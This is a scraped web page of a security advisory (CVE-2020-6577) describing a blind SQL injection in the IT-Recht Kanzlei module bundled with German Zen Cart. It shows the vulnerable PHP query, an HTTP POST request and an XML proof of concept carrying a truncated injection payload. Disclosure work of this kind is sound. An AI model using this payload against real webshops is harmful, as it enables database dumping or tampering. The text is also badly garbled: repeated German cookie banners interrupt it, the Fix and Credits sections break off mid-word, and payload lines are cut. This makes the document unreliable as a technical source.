



HeroLab



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.

Advisory ID: usd-2019-0072
CVE Number: CVE-2020-6577
Affected Product: IT-Recht Kanzlei Plus
Affected Version: v1.5.6c (Zen Cart de
Vulnerability Type: SQL Injection
Security Risk: Medium
Vendor: IT-Recht Kanzlei
Vendor URL: <https://www.it-recht-kanzlei.de/>
Vendor Status: fixed

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

Description

The „JT-Rechtkanzlei“ module, which is included by default in German Zen Cart releases, is vulnerable to blind SQL injections. The „JT-Rechtkanzlei“ offers the possibility to distribute legal texts as PDF to various webshops via its interface. The file `itrk-api.php` in the root directory of webshops such as Zen Cart can get an XML in the POST parameter with the legal texts. The `rechtstext_language` tag is dynamically embedded into an SQL query and can be used to exploit SQL injections. But in order to exploit this vulnerability, the attacker needs a valid „JT-Rechtkanzlei“ token which is randomly generated while creating the webshop. Since the „JT-Rechtkanzlei“ has access to those tokens, the company would be able to dump or modify the database of a Zen Cart application.

Proof of Concept (PoC)

The following request results in a blind SQL injection where the `rechtstext_language` tag is the vulnerable parameter:

[illegible]

The `it_recht_kanzlei_api.php` file contains the vulnerability in line 105:

```
[...]
// Catch errors - rectxtext_language
if ($xml->rechtstext_language == '') {
    $this->return_error('9');
}
// Catch errors - rectxtext_language not supported

$language_code = $xml->rechtstext_language;
$language_query = $db->Execute("SELECT languages_id, code
                                FROM ".TABLE_LANGUAGES."
                                WHERE code = '".$language_code."'LIMIT 1");
[...]
```

The query is not prepared and the `$language_code` variable is also not escaped. Therefore this results in a blind SQL injection flaw. A similar vulnerability occurs in line 222.

```
POST /zencart/itrk-api.php HTTP/1.1
Content-Length: 558
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Connection: close
```

```
<?xml version="1.0" encoding="UTF-8" ?>
<response>
  <action>push</action>
  <api_version>1.</api_version>
  <user_auth_token>7e93a79e0757384a
  <rechtstext_text>texttexttexttext)
  <rechtstext_html>htmlhtmlhtmlhtml
  <rechtstext_language>' AND (SEL
</response>
```



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.

```
chtstext_text>
text_html>
chtstext_language>
```

Fix

ed input.



- 2020-03-12 Effectiveness of fix verified
- 2020-03-12 Vendor informs about update
- 2021-02-22 Retesting of released fix
- 2021-02-26 Security advisory released

Credits

This security vulnerability was discovered

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)

About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

© 2022 usd AG

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



[LabNews](#)

[Security Advisory zu GitLab](#)

[Dez 15, 2022](#)

[Security Advisory zu Acronis Cyber](#)

[Nov 9, 2022](#)

[Security Advisories zu Apache Tor](#)

[Nov 24, 2022](#)



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



usd HeroL



Technisch erforderlich



Analyse und Performance

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

